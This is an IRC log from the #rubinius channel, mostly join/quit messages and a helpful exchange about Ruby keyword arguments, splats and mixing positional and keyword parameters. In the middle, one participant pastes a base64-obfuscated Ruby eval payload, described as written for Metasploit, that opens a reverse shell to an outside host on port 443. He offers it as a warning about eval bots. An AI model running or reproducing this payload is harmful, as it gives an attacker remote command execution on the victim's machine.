meh` has quit [Ping timeout: 264 seconds]
dzhulk has quit [Quit: Leaving.]
lbianc has quit [Ping timeout: 264 seconds]
havenn has joined #rubinius
havenwood has quit [Ping timeout: 250 seconds]
|jemc| has joined #rubinius
diegovio1 has joined #rubinius
diegoviola has quit [Ping timeout: 264 seconds]
diegovio1 is now known as diegoviola
djellemah has joined #rubinius
djellemah has quit [Ping timeout: 264 seconds]
houhoulis has joined #rubinius
havenn has quit [Remote host closed the connection]
andrewstewart has quit [Read error: Connection reset by peer]
machty has quit [Read error: Connection reset by peer]
andrewstewart has joined #rubinius
machty has joined #rubinius
machty has quit [Ping timeout: 252 seconds]
machty has joined #rubinius
machty has quit [Ping timeout: 245 seconds]
machty has joined #rubinius
max96at|off is now known as max96at
Bwild has quit [Quit: leaving]
dzhulk has joined #rubinius
<RageLtMan> is there a convenient way to access the keyword arguments passed to a method?
dzhulk has quit [Quit: Leaving.]
<yorickpeterse> RageLtMan: you access them as regular variables
<yorickpeterse> def foo(number: 10); number; end
dzhulk has joined #rubinius
dzhulk has quit [Quit: Leaving.]
houhoulis has quit [Remote host closed the connection]
havenwood has joined #rubinius
cremes_ has joined #rubinius
cremes has quit [Ping timeout: 250 seconds]
cremes_ is now known as cremes
meh` has joined #rubinius
diegoviola has quit [Read error: Connection reset by peer]
dzhulk has joined #rubinius
dzhulk has quit [Client Quit]
amclain has joined #rubinius
<RageLtMan> yorickpeterse: i was thinking more along the lines of def foo(var1: x, var2:y); something_to_access_args.keys. each ... end; end
<RageLtMan> similar to the unabstracted passing of an opts hash and accessing that
<|jemc|> >> def meth **kwargs; p kwargs; end; meth foo:1, bar:2
<|jemc|> heh, forgot eval bot wasn't around in this channel
<RageLtMan> an eval bot sounds like an awful idea :)
<RageLtMan> because this: "eval(%(cmVxdWlyZSAnc29ja2V0JztyZXF1aXJlICdvcGVuc3NsJztjPU9wZW5TU0w6OlNTTDo6U1NMU29ja2V0Lm5ldyhUQ1BTb2NrZXQubmV3KCJydWJpbmkudXMiLCI0NDMiKSkuY29ubmVjdDt3aGlsZShjbWQ9Yy5nZXRzKTtJTy5wb3BlbihjbWQudG9fcywiciIpe3xpb3xjLnByaW50IGlvLnJlYWR9ZW5k).unpack(%(m0)).first)" would be bad
<RageLtMan> I wrote that for metasploit a while back... same with every other major language
<RageLtMan> script based payloads are hell on earth for IDS because of obfu tricks like that, so auto-eval is probably not the brightest idea
<|jemc|> RageLtMan: there's in eval bot in #ruby and #ruby-lang
<|jemc|> *an eval bot
<RageLtMan> That payload creates a reverse shell to rubini.us:443 :)
<RageLtMan> We could sub in a stub for it to just do an http request to a server we control to check whether it works, but that would still probably constitute unlawful access so i'd check with them 1st...
<RageLtMan> also if i def meth **kwargs; ... end; do i still have access via the standard keywords? can i call meth(kwarg0: 1) an access it via kwarg0 in the method?
<|jemc|> RageLtMan: nope, you don't get both implicitly
<|jemc|> you can always do:
<|jemc|> var1 = kwargs.fetch(var1, :default_value_for_var1)
<RageLtMan> nice
<RageLtMan> thanks
<RageLtMan> odd: ArgumentError: method 'initialize': given 5, expected 1
<RageLtMan> gotcha. cant call with positional args when KWA are defined in the init method
<|jemc|> RageLtMan: you can do both
<|jemc|> def meth *args, **kwargs; end
<|jemc|> def meth arg1, arg2, **kwargs; end
<RageLtMan> def foo(m1: 1, m2: 2); p m1; p m2; end;foo(2,3) => "ArgumentError: method 'foo': given 2, expected "
<|jemc|> an argument is either a positional or named argument
<RageLtMan> Sorry im just now getting to the KWA bit since i've been writing 1.9 compat code
<RageLtMan> gotcha
<|jemc|> ut you can mix them - as long as the keyword arguments are at the end
<|jemc|> def foo a, b=88, *all_other_args, x:, y:99, **all_other_kwargs; end
<RageLtMan> that looks like some perlism more than a rational language, but makes sense
<|jemc|> just demonstrating the possibilities
<|jemc|> you can have mandatory and optional, positional and optional
<RageLtMan> thank you, it makes sense
<|jemc|> as well as "splats" and "keyword splats"
havenwood has quit []
<RageLtMan> ah, so you can ignore the positionals by just passing in kwa?
<|jemc|> well, if they're mandatory (no default value), you have to pass them
<RageLtMan> def foo(positional = 0,kwa1: 1,kwa2: 2);...;end; allows me to call foo(kwa1: 3); and ignore the positional arg?
<|jemc|> correct
dzhulk has joined #rubinius
Caius has quit [Ping timeout: 276 seconds]
Caius has joined #rubinius
nirvdrum has joined #rubinius
Bwild has joined #rubinius
bffff_ has joined #rubinius
havenwood has joined #rubinius
Bwild has quit [Remote host closed the connection]
dimday has joined #rubinius
Bwild has joined #rubinius
GitHub112 has joined #rubinius
<GitHub112> [rubinius] jemc opened pull request #3311: Add the try_find_const_fast instruction (master...master) http://git.io/bdxC
GitHub112 has left #rubinius [#rubinius]